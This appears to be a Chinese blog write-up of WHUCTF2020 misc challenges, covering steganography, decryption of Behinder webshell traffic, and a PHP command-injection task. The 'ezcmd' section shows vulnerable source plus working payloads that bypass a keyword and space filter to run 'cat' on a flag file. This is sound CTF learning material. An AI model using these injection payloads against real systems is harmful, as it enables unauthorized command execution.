WHUCTF2020 MISC

武汉大学的题还是很好的,有几个点是知识盲区,弟弟把没做出来的题复现一下

颜文字

链接:https://pan.baidu.com/s/1q_yZ-NqW_UQG2loADeefDg
提取码:wwxz
1、扫QR Code,得到这个链接https://space.bilibili.com/309312103就卡住了(我傻了

png+key,尝试lsb解(py2下哦)

python lsb.py extract 2333.png 1.txt 1234

2、看到最后是倒序的png。

版权保护

链接:https://pan.baidu.com/s/1IQmhAVuugDhfelStE7We_Q
提取码:ud8j
1、

问贝塔姐姐学到一手,2个汉字中间8个零宽字符,只有&awj&zwnj2中零宽字符,(傻了傻了)按住鼠标拖到qq消息框

&awj记0,&zwnj记1,bin->hex。

shellOfAwd

链接:https://pan.baidu.com/s/1uwiiP8TA4iwy12z1OLNErA
提取码:ymqu
1、过滤http流量
冰蝎流量的特征,参考:
冰蝎动态二进制加密WebShell基于流量侧检测方案
冰蝎动态二进制加密WebShell特征分析
基于流量侧检测冰蝎webshell交互通讯
在GET请求包中发现2次.php?pass=
在POST请求包中发现Transfer-Encoding: chunked

确定是冰蝎流量
2、冰蝎加密原理,参考:红蓝对抗——加密Webshell“冰蝎”攻防
前面提到的带pass的2条流量随便追踪一个,客户端GET请求申请密钥,Sever产生随机密钥,并写入Session,Client返回16位aes密钥:91ee1bfc4fd27c90

冰蝎在通讯过程中采用AES加密,在线Aes解密

base64解码后没有什么用

往后流6.流7依次解,最终在流7找到flag

被汇编支配的恐惧

链接:https://pan.baidu.com/s/1-2mLBKhe85Nd4NmCzBm4jg
提取码:jh07
hint1:你会拼图吗?
hint2:注意图片内容本身,图片是一本书哦
hint3:jpg文件末尾有几位关键信息
hint4:最后一步:光栅等距填充
hint5:最后一步的字符串与拼音有关,有一个看不清的字母被替换成了特殊字符
1、拿到的附件是加密的pic.zip和王爽汇编的.jpg

在属性中hint密码是13位,根据hint3,在结尾发现图书编号IBSN

网上搜索王爽汇编IBSN,刚好13位

2、100张bmp,1010或205
用linux下的convert命令拼图,俺用了11次
水平方向合并为1.jpg:convert +append 1.bmp 2.bmp ... 1.jpg
竖直方向合并为res.jpg:convert -append 1.jpg 2.jpg ... res.jpg
原图有点子小,放大后的:


3、WHUCTF{硬往图上看还是可以的,然后根据Hint4、5,flag是能猜出来。

看了官方wp,感觉4列是一组,看其中一个字符,明显2,3列是透明的,把每组的2,3列填充为黑色

from PIL import Image, ImageDraw

img = Image.open("ori.png")
draw = ImageDraw.Draw(img)
for i in range(101):
    if i % 4 == 1:
        draw.rectangle((i,0,i+2,100), 'black')
img.save("1.png")


啊哈哈哈,我感觉2个差不了多少
flag:WHUCTF{GUANG_SH@N}

wechat_game

链接:https://pan.baidu.com/s/1HlAQyf-76Hz5ZuVN-Inxeg
提取码:g8qa
1、文件就是js,游戏用的图片和音频,txt
2、在txt中的game.txt汉字明显是倒序的
3、strings -f * | grep "ftcuhw",根据执行结果在game12345.txt搜索关键字。

ezcmd(命令执行)

开题就是源码:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){#不能有空格
    die("no space!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){#不能有'.*f.*l.*a.*g'
    die("no flag");
  } else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){#不能有cat、more等关键字
    die("cat't read flag");
  }
  $a = shell_exec("ping -c 4 ".$ip); 
  echo "<pre>";
  print_r($a);
}
highlight_file(__FILE__);

?> 

知识点:

绕过方式:
1、空格绕过:$IFS$IFS$一位数字
2、黑名单绕过:
拼接绕过:a=fl;b=ag;$a$b
3、敏感字符绕过:
1)利用变量拼接绕过:a=c;b=a;c=t;$a$b$c
2)利用反斜杠\绕过:ca\t

解题:

因为flag字符串存在正则匹配,所以拼接时不能顺着写,payload:?ip=0.0.0.0;a=g;b=fla;ca\t$IFS$b$a.php

?ip=0.0.0.0;a=g;ca\t$IFS$9fla$a.phpF12


?ip=127.0.0.1;b=c;d=a;e=t;m=g;n=fla;$b$d$e$IFS$n$m.php
这道题和GXYCTF2019 Ping Ping Ping基本一样。

posted @ 2020-05-29 15:39  Pur3  阅读(653)  评论(0编辑  收藏  举报